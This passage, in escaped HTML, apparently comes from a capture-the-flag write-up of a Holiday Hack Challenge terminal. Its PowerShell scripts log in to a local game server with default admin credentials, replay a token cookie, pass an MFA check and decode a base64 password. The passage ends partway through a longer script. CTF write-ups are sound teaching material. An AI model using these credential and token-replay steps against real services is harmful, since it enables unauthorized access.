&lt;figure class=&#34;highlight html&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;tag&#34;&gt;&amp;lt;&lt;span class=&#34;name&#34;&gt;h1&lt;/span&gt;&amp;gt;&lt;/span&gt;[!] ERROR: Missing Cookie &amp;#x27;token&amp;#x27;&lt;span class=&#34;tag&#34;&gt;&amp;lt;/&lt;span class=&#34;name&#34;&gt;h1&lt;/span&gt;&amp;gt;&lt;/span&gt;   &lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;ul&gt;
&lt;li&gt;&lt;ol start=&#34;9&#34;&gt;
&lt;li&gt;It looks like it requires a cookie token, set the cookie and try again.&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;figure class=&#34;highlight powershell&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;10&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;variable&#34;&gt;$creds&lt;/span&gt; = &lt;span class=&#34;built_in&#34;&gt;New-Object&lt;/span&gt; System.Management.Automation.PSCredential(&lt;span class=&#34;string&#34;&gt;&amp;quot;admin&amp;quot;&lt;/span&gt;, (&lt;span class=&#34;built_in&#34;&gt;ConvertTo-SecureString&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;admin&amp;quot;&lt;/span&gt; &lt;span class=&#34;literal&#34;&gt;-AsPlainText&lt;/span&gt; &lt;span class=&#34;literal&#34;&gt;-Force&lt;/span&gt;))&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;variable&#34;&gt;$cookie&lt;/span&gt; = &lt;span class=&#34;built_in&#34;&gt;New-Object&lt;/span&gt; System.Net.Cookie&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;variable&#34;&gt;$cookie&lt;/span&gt;.Name = &lt;span class=&#34;string&#34;&gt;&amp;quot;token&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;variable&#34;&gt;$cookie&lt;/span&gt;.Value = &lt;span class=&#34;string&#34;&gt;&amp;quot;5f8dd236f862f4507835b0e418907ffc&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;variable&#34;&gt;$cookie&lt;/span&gt;.Domain = &lt;span class=&#34;string&#34;&gt;&amp;quot;127.0.0.1&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;variable&#34;&gt;$session&lt;/span&gt; = &lt;span class=&#34;built_in&#34;&gt;New-Object&lt;/span&gt; Microsoft.PowerShell.Commands.WebRequestSession&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;variable&#34;&gt;$session&lt;/span&gt;.Cookies.Add(&lt;span class=&#34;variable&#34;&gt;$cookie&lt;/span&gt;)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;built_in&#34;&gt;iwr&lt;/span&gt; http://&lt;span class=&#34;number&#34;&gt;127.0&lt;/span&gt;.&lt;span class=&#34;number&#34;&gt;0.1&lt;/span&gt;:&lt;span class=&#34;number&#34;&gt;1225&lt;/span&gt;/tokens/&lt;span class=&#34;number&#34;&gt;4216&lt;/span&gt;B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C &lt;span class=&#34;literal&#34;&gt;-Credential&lt;/span&gt; &lt;span class=&#34;variable&#34;&gt;$creds&lt;/span&gt; &lt;span class=&#34;literal&#34;&gt;-AllowUnencryptedAuthentication&lt;/span&gt; &lt;span class=&#34;literal&#34;&gt;-WebSession&lt;/span&gt; &lt;span class=&#34;variable&#34;&gt;$session&lt;/span&gt; | &lt;span class=&#34;built_in&#34;&gt;select&lt;/span&gt; &lt;span class=&#34;literal&#34;&gt;-Expand&lt;/span&gt; Content&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;figure class=&#34;highlight html&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;tag&#34;&gt;&amp;lt;&lt;span class=&#34;name&#34;&gt;h1&lt;/span&gt;&amp;gt;&lt;/span&gt;Cookie &amp;#x27;mfa_code&amp;#x27;, use it at &lt;span class=&#34;tag&#34;&gt;&amp;lt;&lt;span class=&#34;name&#34;&gt;a&lt;/span&gt; &lt;span class=&#34;attr&#34;&gt;href&lt;/span&gt;=&lt;span class=&#34;string&#34;&gt;&amp;#x27;1732013309.8054779&amp;#x27;&lt;/span&gt;&amp;gt;&lt;/span&gt;/mfa_validate/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C&lt;span class=&#34;tag&#34;&gt;&amp;lt;/&lt;span class=&#34;name&#34;&gt;a&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;span class=&#34;tag&#34;&gt;&amp;lt;/&lt;span class=&#34;name&#34;&gt;h1&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;ul&gt;
&lt;li&gt;&lt;ol start=&#34;10&#34;&gt;
&lt;li&gt;Sweet we got a MFA token! We might be able to get access to the system.&lt;br/&gt;Validate that token at the endpoint!&lt;br&gt;&lt;strong&gt;&lt;em&gt;This&lt;/em&gt; is the exact moment I had to use &lt;em&gt;ChatGPT&lt;/em&gt; to write the code&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;figure class=&#34;highlight powershell&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;10&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;11&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;12&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;13&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;14&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;15&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;16&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;17&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;18&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;19&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;20&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;21&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;22&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;variable&#34;&gt;$creds&lt;/span&gt; = &lt;span class=&#34;built_in&#34;&gt;New-Object&lt;/span&gt; System.Management.Automation.PSCredential(&lt;span class=&#34;string&#34;&gt;&amp;quot;admin&amp;quot;&lt;/span&gt;, (&lt;span class=&#34;built_in&#34;&gt;ConvertTo-SecureString&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;admin&amp;quot;&lt;/span&gt; &lt;span class=&#34;literal&#34;&gt;-AsPlainText&lt;/span&gt; &lt;span class=&#34;literal&#34;&gt;-Force&lt;/span&gt;))&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;variable&#34;&gt;$cookieContainer&lt;/span&gt; = &lt;span class=&#34;built_in&#34;&gt;New-Object&lt;/span&gt; System.Net.CookieContainer&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;variable&#34;&gt;$cookie&lt;/span&gt; = &lt;span class=&#34;built_in&#34;&gt;New-Object&lt;/span&gt; System.Net.Cookie&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;variable&#34;&gt;$cookie&lt;/span&gt;.Name = &lt;span class=&#34;string&#34;&gt;&amp;quot;token&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;variable&#34;&gt;$cookie&lt;/span&gt;.Value = &lt;span class=&#34;string&#34;&gt;&amp;quot;5f8dd236f862f4507835b0e418907ffc&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;variable&#34;&gt;$cookie&lt;/span&gt;.Domain = &lt;span class=&#34;string&#34;&gt;&amp;quot;127.0.0.1&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;variable&#34;&gt;$cookieContainer&lt;/span&gt;.Add(&lt;span class=&#34;variable&#34;&gt;$cookie&lt;/span&gt;)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;variable&#34;&gt;$response&lt;/span&gt; = &lt;span class=&#34;built_in&#34;&gt;Invoke-WebRequest&lt;/span&gt; &lt;span class=&#34;literal&#34;&gt;-Uri&lt;/span&gt; http://&lt;span class=&#34;number&#34;&gt;127.0&lt;/span&gt;.&lt;span class=&#34;number&#34;&gt;0.1&lt;/span&gt;:&lt;span class=&#34;number&#34;&gt;1225&lt;/span&gt;/tokens/&lt;span class=&#34;number&#34;&gt;4216&lt;/span&gt;B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C &lt;span class=&#34;literal&#34;&gt;-WebSession&lt;/span&gt; (&lt;span class=&#34;built_in&#34;&gt;New-Object&lt;/span&gt; Microsoft.PowerShell.Commands.WebRequestSession &lt;span class=&#34;literal&#34;&gt;-Property&lt;/span&gt; &lt;span class=&#34;selector-tag&#34;&gt;@&lt;/span&gt;&amp;#123; Cookies = &lt;span class=&#34;variable&#34;&gt;$cookieContainer&lt;/span&gt; &amp;#125;) &lt;span class=&#34;literal&#34;&gt;-Credential&lt;/span&gt; &lt;span class=&#34;variable&#34;&gt;$creds&lt;/span&gt; &lt;span class=&#34;literal&#34;&gt;-AllowUnencryptedAuthentication&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;(&lt;span class=&#34;variable&#34;&gt;$response&lt;/span&gt;.Content &lt;span class=&#34;operator&#34;&gt;-match&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;href=&amp;#x27;([^&amp;#x27;]+)&amp;#x27;&amp;quot;&lt;/span&gt;) | &lt;span class=&#34;built_in&#34;&gt;Out-Null&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;variable&#34;&gt;$mfaCode&lt;/span&gt; = &lt;span class=&#34;variable&#34;&gt;$matches&lt;/span&gt;[&lt;span class=&#34;number&#34;&gt;1&lt;/span&gt;]&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;variable&#34;&gt;$mfaCookie&lt;/span&gt; = &lt;span class=&#34;built_in&#34;&gt;New-Object&lt;/span&gt; System.Net.Cookie&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;variable&#34;&gt;$mfaCookie&lt;/span&gt;.Name = &lt;span class=&#34;string&#34;&gt;&amp;quot;mfa_token&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;variable&#34;&gt;$mfaCookie&lt;/span&gt;.Value = &lt;span class=&#34;string&#34;&gt;&amp;quot;&lt;span class=&#34;variable&#34;&gt;$mfaCode&lt;/span&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;variable&#34;&gt;$mfaCookie&lt;/span&gt;.Domain = &lt;span class=&#34;string&#34;&gt;&amp;quot;127.0.0.1&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;variable&#34;&gt;$cookieContainer&lt;/span&gt;.Add(&lt;span class=&#34;variable&#34;&gt;$mfaCookie&lt;/span&gt;)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;variable&#34;&gt;$validateUrl&lt;/span&gt; = &lt;span class=&#34;string&#34;&gt;&amp;quot;http://127.0.0.1:1225/mfa_validate/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;built_in&#34;&gt;Invoke-WebRequest&lt;/span&gt; &lt;span class=&#34;literal&#34;&gt;-Uri&lt;/span&gt; &lt;span class=&#34;variable&#34;&gt;$validateUrl&lt;/span&gt; &lt;span class=&#34;literal&#34;&gt;-WebSession&lt;/span&gt; (&lt;span class=&#34;built_in&#34;&gt;New-Object&lt;/span&gt; Microsoft.PowerShell.Commands.WebRequestSession &lt;span class=&#34;literal&#34;&gt;-Property&lt;/span&gt; &lt;span class=&#34;selector-tag&#34;&gt;@&lt;/span&gt;&amp;#123; Cookies = &lt;span class=&#34;variable&#34;&gt;$cookieContainer&lt;/span&gt; &amp;#125;) &lt;span class=&#34;literal&#34;&gt;-Credential&lt;/span&gt; &lt;span class=&#34;variable&#34;&gt;$creds&lt;/span&gt; &lt;span class=&#34;literal&#34;&gt;-AllowUnencryptedAuthentication&lt;/span&gt; | &lt;span class=&#34;built_in&#34;&gt;select&lt;/span&gt; &lt;span class=&#34;literal&#34;&gt;-Expand&lt;/span&gt; Content&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;figure class=&#34;highlight html&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;tag&#34;&gt;&amp;lt;&lt;span class=&#34;name&#34;&gt;h1&lt;/span&gt;&amp;gt;&lt;/span&gt;[+] Success&lt;span class=&#34;tag&#34;&gt;&amp;lt;/&lt;span class=&#34;name&#34;&gt;h1&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;span class=&#34;tag&#34;&gt;&amp;lt;&lt;span class=&#34;name&#34;&gt;br&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;span class=&#34;tag&#34;&gt;&amp;lt;&lt;span class=&#34;name&#34;&gt;p&lt;/span&gt;&amp;gt;&lt;/span&gt;Q29ycmVjdCBUb2tlbiBzdXBwbGllZCwgeW91IGFyZSBncmFudGVkIGFjY2VzcyB0byB0aGUgc25vdyBjYW5ub24gdGVybWluYWwuIEhlcmUgaXMgeW91ciBwZXJzb25hbCBwYXNzd29yZCBmb3IgYWNjZXNzOiBTbm93TGVvcGFyZDJSZWFkeUZvckFjdGlvbg==&lt;span class=&#34;tag&#34;&gt;&amp;lt;/&lt;span class=&#34;name&#34;&gt;p&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;ul&gt;
&lt;li&gt;&lt;ol start=&#34;11&#34;&gt;
&lt;li&gt;That looks like base64! Decode it so we can get the final secret!&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;figure class=&#34;highlight powershell&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;[&lt;span class=&#34;type&#34;&gt;System.Text.Encoding&lt;/span&gt;]::UTF8.GetString([&lt;span class=&#34;type&#34;&gt;System.Convert&lt;/span&gt;]::FromBase64String(&lt;span class=&#34;string&#34;&gt;&amp;quot;Q29ycmVjdCBUb2tlbiBzdXBwbGllZCwgeW91IGFyZSBncmFudGVkIGFjY2VzcyB0byB0aGUgc25vdyBjYW5ub24gdGVybWluYWwuIEhlcmUgaXMgeW91ciBwZXJzb25hbCBwYXNzd29yZCBmb3IgYWNjZXNzOiBTbm93TGVvcGFyZDJSZWFkeUZvckFjdGlvbg==&amp;quot;&lt;/span&gt;))&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;figure class=&#34;highlight ruby&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;title class_&#34;&gt;Correct&lt;/span&gt; &lt;span class=&#34;title class_&#34;&gt;Token&lt;/span&gt; supplied, you are granted access to the snow cannon terminal. &lt;span class=&#34;title class_&#34;&gt;Here&lt;/span&gt; is your personal password &lt;span class=&#34;keyword&#34;&gt;for&lt;/span&gt; &lt;span class=&#34;symbol&#34;&gt;access:&lt;/span&gt; &lt;span class=&#34;title class_&#34;&gt;SnowLeopard2ReadyForAction&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;ul&gt;
&lt;li&gt;&lt;ol start=&#34;12&#34;&gt;
&lt;li&gt;Hurray! You have thwarted their defenses!&lt;br/&gt;Alabaster can now access their weaponry and put a stop to it.&lt;br/&gt;Once HHC grants your achievement, you can close this terminal.&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;Gold-trophy&#34;&gt;&lt;a href=&#34;#Gold-trophy&#34; class=&#34;headerlink&#34; title=&#34;Gold trophy&#34;&gt;&lt;/a&gt;Gold trophy&lt;/h2&gt;&lt;p&gt;To obtain the gold trophy I followed the hints of &lt;em&gt;PowerShell Admin Access - Total Control&lt;/em&gt; and I had to write a &lt;strong&gt;lot&lt;/strong&gt; of code ending up in an &lt;strong&gt;unreasonably long&lt;/strong&gt; &lt;code&gt;powershell&lt;/code&gt; script:&lt;/p&gt;
&lt;figure class=&#34;highlight powershell&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;10&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;11&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;12&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;13&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;14&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;15&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;16&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;17&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;18&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;19&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;20&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;21&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;22&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;23&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;24&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;25&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;26&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;27&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;28&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;29&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;30&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;31&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;32&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;33&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;34&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;35&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;36&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;37&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;38&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;39&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;40&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;41&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;42&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;43&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;44&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;45&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;46&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;variable&#34;&gt;$creds&lt;/span&gt; = &lt;span class=&#34;built_in&#34;&gt;New-Object&lt;/span&gt; System.Management.Automation.PSCredential(&lt;span class=&#34;string&#34;&gt;&amp;quot;admin&amp;quot;&lt;/span&gt;, (&lt;span class=&#34;built_in&#34;&gt;ConvertTo-SecureString&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;admin&amp;quot;&lt;/span&gt; &lt;span class=&#34;literal&#34;&gt;-AsPlainText&lt;/span&gt; &lt;span class=&#34;literal&#34;&gt;-Force&lt;/span&gt;))&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;variable&#34;&gt;$cookieContainer&lt;/span&gt; = &lt;span class=&#34;built_in&#34;&gt;New-Object&lt;/span&gt; System.Net.CookieContainer&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;variable&#34;&gt;$response&lt;/span&gt; = &lt;span class=&#34;built_in&#34;&gt;iwr&lt;/span&gt; http://&lt;span class=&#34;number&#34;&gt;127.0&lt;/span&gt;.&lt;span class=&#34;number&#34;&gt;0.1&lt;/span&gt;:&lt;span class=&#34;number&#34;&gt;1225&lt;/span&gt;/token_overview.csv &lt;span class=&#34;literal&#34;&gt;-Credential&lt;/span&gt; &lt;span class=&#34;variable&#34;&gt;$creds&lt;/span&gt; &lt;span class=&#34;literal&#34;&gt;-AllowUnencryptedAuthentication&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;variable&#34;&gt;$content_array&lt;/span&gt; = &lt;span class=&#34;variable&#34;&gt;$response&lt;/span&gt; &lt;span class=&#34;operator&#34;&gt;-split&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;\n&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;variable&#34;&gt;$cookie&lt;/span&gt; = &lt;span class=&#34;built_in&#34;&gt;New-Object&lt;/span&gt; System.Net.Cookie&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;variable&#34;&gt;$cookie&lt;/span&gt;.Name = &lt;span class=&#34;string&#34;&gt;&amp;quot;token&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;variable&#34;&gt;$cookie&lt;/span&gt;.Value = &lt;span class=&#34;string&#34;&gt;&amp;quot;5f8dd236f862f4507835b0e418907ffc&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;variable&#34;&gt;$cookie&lt;/span&gt;.Domain = &lt;span class=&#34;string&#34;&gt;&amp;quot;127.0.0.1&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;variable&#34;&gt;$cookieContainer&lt;/span&gt;.Add(&lt;span class=&#34;variable&#34;&gt;$cookie&lt;/span&gt;)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;foreach&lt;/span&gt; (&lt;span class=&#34;variable&#34;&gt;$line&lt;/span&gt; &lt;span class=&#34;keyword&#34;&gt;in&lt;/span&gt; &lt;span class=&#34;variable&#34;&gt;$content_array&lt;/span&gt;) &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    &lt;span 